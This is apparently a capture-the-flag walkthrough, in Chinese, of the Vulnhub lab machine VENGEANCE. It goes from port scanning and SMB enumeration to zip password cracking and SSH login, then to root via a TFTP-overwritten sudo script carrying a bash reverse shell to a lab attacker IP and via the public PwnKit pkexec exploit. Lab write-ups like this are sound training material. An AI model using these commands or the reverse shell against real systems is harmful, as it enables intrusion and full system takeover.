[Vulnhub] VENGEANCE SMB+Zip-Crack+TFTP&SUDO权限提升+PwnKit:Pkexec权限提升

信息收集

IP Address	Opening Ports
192.168.101.153	TCP:80,110,113,139,143,443,445,993,995,22222

$ nmap -p- 192.168.101.153 --min-rate 1000 -sC -sV

Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE  SERVICE      VERSION
7/tcp     closed echo
22/tcp    closed ssh
80/tcp    open   http         nginx 1.18.0 (Ubuntu)
|_http-title: VENGEANCE – Confessions of a girl who has been cornered ...
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_auth-owners: www-data
88/tcp    closed kerberos-sec
110/tcp   open   pop3
| fingerprint-strings:
|   FourOhFourRequest, LDAPSearchReq:
|     +OK Dovecot (Ubuntu) ready.
|     -ERR Unknown command.
|     -ERR Unknown command.
|   LDAPBindReq:
|     +OK Dovecot (Ubuntu) ready.
|   LPDString:
|     +OK Dovecot (Ubuntu) ready.
|_    -ERR Unknown command.
|_pop3-capabilities: CAPA UIDL TOP PIPELINING STLS SASL AUTH-RESP-CODE RESP-CODES
|_auth-owners: dovenull
113/tcp   open   ident?
|_auth-owners: root
139/tcp   open   netbios-ssn  Samba smbd 4.6.2
|_auth-owners: root
143/tcp   open   imap         Dovecot imapd
|_auth-owners: dovenull
|_imap-capabilities: more LOGINDISABLEDA0001 have IDLE OK ENABLE capabilities LITERAL+ Pre-login listed STARTTLS IMAP4rev1 ID SASL-IR post-login LOGIN-REFERRALS
161/tcp   closed snmp
389/tcp   closed ldap
443/tcp   open   ssl/http     nginx 1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=VENGEANCE/organizationName=Good Tech Inc/stateOrProvinceName=Singapore/countryName=SG
| Not valid before: 2021-02-14T02:40:28
|_Not valid after:  2022-02-14T02:40:28
| tls-alpn:
|   h2
|_  http/1.1
| tls-nextprotoneg:
|   h2
|_  http/1.1
|_http-title: VENGEANCE – Confessions of a girl who has been cornered ...
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_auth-owners: www-data
445/tcp   open   netbios-ssn  Samba smbd 4.6.2
|_auth-owners: root
993/tcp   open   imaps?
995/tcp   open   pop3s?
1337/tcp  closed waste
2049/tcp  closed nfs
6000/tcp  closed X11
8080/tcp  closed http-proxy
22222/tcp open   ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
|_auth-owners: root
| ssh-hostkey:
|   3072 32:eb:05:fa:d3:75:45:5e:c7:72:fb:03:aa:05:b7:d7 (RSA)
|   256 40:16:f8:d1:f1:06:e5:aa:13:44:28:ed:e0:55:ef:34 (ECDSA)
|_  256 52:78:15:c2:3b:a1:90:20:3a:b1:d6:75:93:72:d8:f8 (ED25519)
54321/tcp closed unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port110-TCP:V=7.92%I=7%D=7/21%Time=669C9A3E%P=x86_64-pc-linux-gnu%r(Fou
SF:rOhFourRequest,4B,"\+OK\x20Dovecot\x20\(Ubuntu\)\x20ready\.\r\n-ERR\x20
SF:Unknown\x20command\.\r\n-ERR\x20Unknown\x20command\.\r\n")%r(LPDString,
SF:34,"\+OK\x20Dovecot\x20\(Ubuntu\)\x20ready\.\r\n-ERR\x20Unknown\x20comm
SF:and\.\r\n")%r(LDAPSearchReq,4B,"\+OK\x20Dovecot\x20\(Ubuntu\)\x20ready\
SF:.\r\n-ERR\x20Unknown\x20command\.\r\n-ERR\x20Unknown\x20command\.\r\n")
SF:%r(LDAPBindReq,1D,"\+OK\x20Dovecot\x20\(Ubuntu\)\x20ready\.\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -1s
| smb2-time:
|   date: 2024-07-21T05:19:11
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required

$ enum4linux 192.168.101.153

username:sara
username:qinyi

本地权限

$ smbclient -L //192.168.101.153/

$ smbclient //192.168.101.153/sarapublic$

smb: \> lcd /tmp/mp
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

$ awk '{for(i=1;i<=NF;i++) print $i}' profile.txt | sort | uniq > password.txt

$ zip2john gio.zip >hash

$ john hash --wordlist=./password.txt

password:nanotechnological

Giovanni

giovanni_130R_Suzuka

$ hydra -l user -p 'giovanni_130R_Suzuka' ssh://192.168.101.153:22222

Local.txt 截屏

Local.txt 内容

Local access to the box obtained.

权限提升

TFTP & SUDO权限提升

$ netstat -lnput

查看tftp配置文件目录

$ cat /etc/default/tftpd-hpa

$ sudo -l

$ tftp 192.168.101.153 69

tftp> get eaurouge

通过TFTP上传eaurouge覆盖原来文件

/bin/bash -c 'bash -i >& /dev/tcp/192.168.101.128/10032 0>&1'

$ tftp 192.168.101.153 69

tftp> put eaurouge

$ sudo /home/sara/private/eaurouge

PwnKit:pkexec 权限提升

[Kali]$ wget https://github.com/ly4k/PwnKit/blob/main/PwnKit.c

[Kali]$ gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

[Target]$ ./PwnKit

Proof.txt 截屏

Proof.txt Content

Root access obtained! Congratulations on breaking through the 6th box in the digitalworld.local series. Hope you enjoyed this one.